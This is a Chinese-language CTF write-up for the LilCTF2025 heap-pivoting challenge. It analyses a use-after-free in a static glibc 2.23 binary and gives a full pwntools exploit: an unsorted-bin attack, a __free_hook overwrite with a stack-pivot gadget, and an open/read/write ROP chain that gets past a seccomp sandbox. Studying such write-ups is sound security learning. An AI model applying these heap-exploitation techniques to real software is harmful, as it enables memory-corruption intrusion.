LilCTF2025 - pwn_heap-pivoting_复现
LilCTF2025 - pwn_heap-pivoting_复现
拿到题目发现是一道静态编译的堆题


题目没有开pie但是开了沙箱,并且禁止了execve()函数的调用
add函数:
__int64 add()
{
__int64 result; // rax
unsigned int v1; // [rsp+4h] [rbp-2Ch]
char *v2; // [rsp+8h] [rbp-28h]
char v3[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
write(1u, "idx:", 4uLL);
read(0, v3, 0x10uLL);
v1 = atoi((__int64)v3);
if ( v1 >= 5 )
exit(1LL);
write(1u, "Alright!\nwhat do you want to say\n", 0x21uLL);
v2 = (char *)malloc(0x100LL);
read(0, v2, 0x100uLL);
result = (int)v1;
heap_array[v1] = (__int64)v2;
if ( __readfsqword(0x28u) != v4 )
sub_443600();
return result;
}
分析add函数,发现每次都固定申请0x100的chunk,然后把chunk_data起始地址存放在一个数组中这里我命名为heap_array[]
edit函数:
unsigned __int64 edit_0()
{
unsigned __int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-24h]
char v2[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
write(1u, "idx:", 4uLL);
read(0, v2, 0x10uLL);
v1 = atoi((__int64)v2);
if ( v1 >= 5 )
exit(1LL);
write(1u, "context: ", 9uLL);
result = read(0, (char *)heap_arry[v1], 0x100uLL);
if ( __readfsqword(0x28u) != v3 )
sub_443600();
return result;
}
不存在堆溢出
delete函数:
unsigned __int64 delete()
{
__int64 v0; // rdx
__int64 v1; // rcx
_QWORD *v2; // r8
int v3; // r9d
unsigned __int64 result; // rax
unsigned int v5; // [rsp+Ch] [rbp-24h]
char v6[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
write(1u, "idx:", 4uLL);
read(0LL, v6, 0x10uLL);
v5 = atoi((__int64)v6);
if ( v5 >= 5 )
exit(1LL);
result = free(heap_arry[v5], (__int64)v6, v0, v1, v2, v3);
if ( __readfsqword(0x28u) != v7 )
sub_443600();
return result;
}
存在uaf,结合题目的libc为2.23(hint)可以想到用unsortedbin attack来修改数组中的chunk地址,对main_arena+88来进行读写
main_arena+88 的位置放置了 top_chunk_addr,unsortbins 数量和两个 top_chunk_check 指针
然后我们把top_chunk_addr给他改到heap_array的地址,这样就可以通过申请heap_array来控制chunk实现任意地址写0x100字节

free_hook = 0x6cc5e8
heap_array = 0x0000000006CCD60
free_hook=0x6CC5E8
add(0,b'aaaa')
add(1,p64(0))
free(0)
edit(0,p64(0)+p64(heap_array-0x10))#开改
add(2,b'\x00')#这里随便填
payload0=p64(heap_array)+p64(0)+p64(0x6CA858)*2
edit(0,payload0)#修改main_arena+88
修改完后:

这时我们再申请一个chunk就可以控制heap_array了
接下来我们就可以使用ORW来get flag
这里是用了一个gadget(0x4b8fb8)来实现栈迁移到bss段来执行rop
这个gadget为:
我们将free_hook改为这个地址就可以实现将esp(rsp低32位)直接换到edi(rdi的低32位)中存储的地址,也就是说当我们执行free(bss_addr)的时候程序就将esp指向bss段实现了栈迁移,然后开始执行rop链了
(又学到了,嘿嘿)
如果想要复原elf文件的符号表在联网的情况下我推荐阿里云的Finger插件,有兴趣可以去了解一下Finger
这里贴一下完整exp:
from pwn import*
p = process("./pwn")
#p = remote("challenge.xinshi.fun",30405)
context(log_level = 'debug')
def add(idx,content):
p.recvuntil("Your choice:\n")
p.sendline(b'1')
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("Alright!\nwhat do you want to say\n")
p.send(content)
def free(idx):
p.recvuntil("Your choice:\n")
p.sendline(b'2')
p.recvuntil("idx:")
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil("Your choice:\n")
p.sendline(b'3')
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("context: ")
p.send(content)
def bug():
gdb.attach(p,'set glibc 2.23')
pause()
#base =0x40F000
#base =0x40F0ED
u=0x00000000006ca858
heap_array = 0x0000000006CCD60
free_hook=0x6CC5E8
add(0,b'aaaa')
add(1,p64(0))
free(0)
edit(0,p64(0)+p64(heap_array-0x10))#gai
add(2,b'\x00')
payload0=p64(heap_array)+p64(0)+p64(0x6CA858)*2
edit(0,payload0)
#修改top_chunk_addr为heap_array
add(0,p64(heap_array)*3)#为栈迁移作准备bss段做准备
edit(2,p64(heap_array+0x8)+p64(heap_array+0x10)+p64(0)*4)#第一个为chunk1_addr,第二个为chunk2_addr
flag=0x6ccd78
magic=0x4b8fb8#xchg esp, edi ;
bss = 0x00000000006cce40#rsp->bss
edit(0,p64(free_hook)+p64(bss)+b"./flag\x00\x00")
edit(1,p64(magic))
rdi=0x401a16
rsi=0x401b37
rdx=0x443136
rax=0x41fc84
syscall=0x4678e5
payload1 =p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)#open
payload1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x6CBBA0)+p64(rdx)+p64(0x60)+p64(rax)+p64(0)+p64(syscall)#read
payload1+=p64(rdi)+p64(1)+p64(rax)+p64(1)+p64(syscall)#write
edit(2,payload1)
free(2)
#bug()
p.interactive()

参考wp:LilCTF-2025/players-writeup/X2cT34m/writeup.md at main · Lil-House/LilCTF-2025

浙公网安备 33010602011771号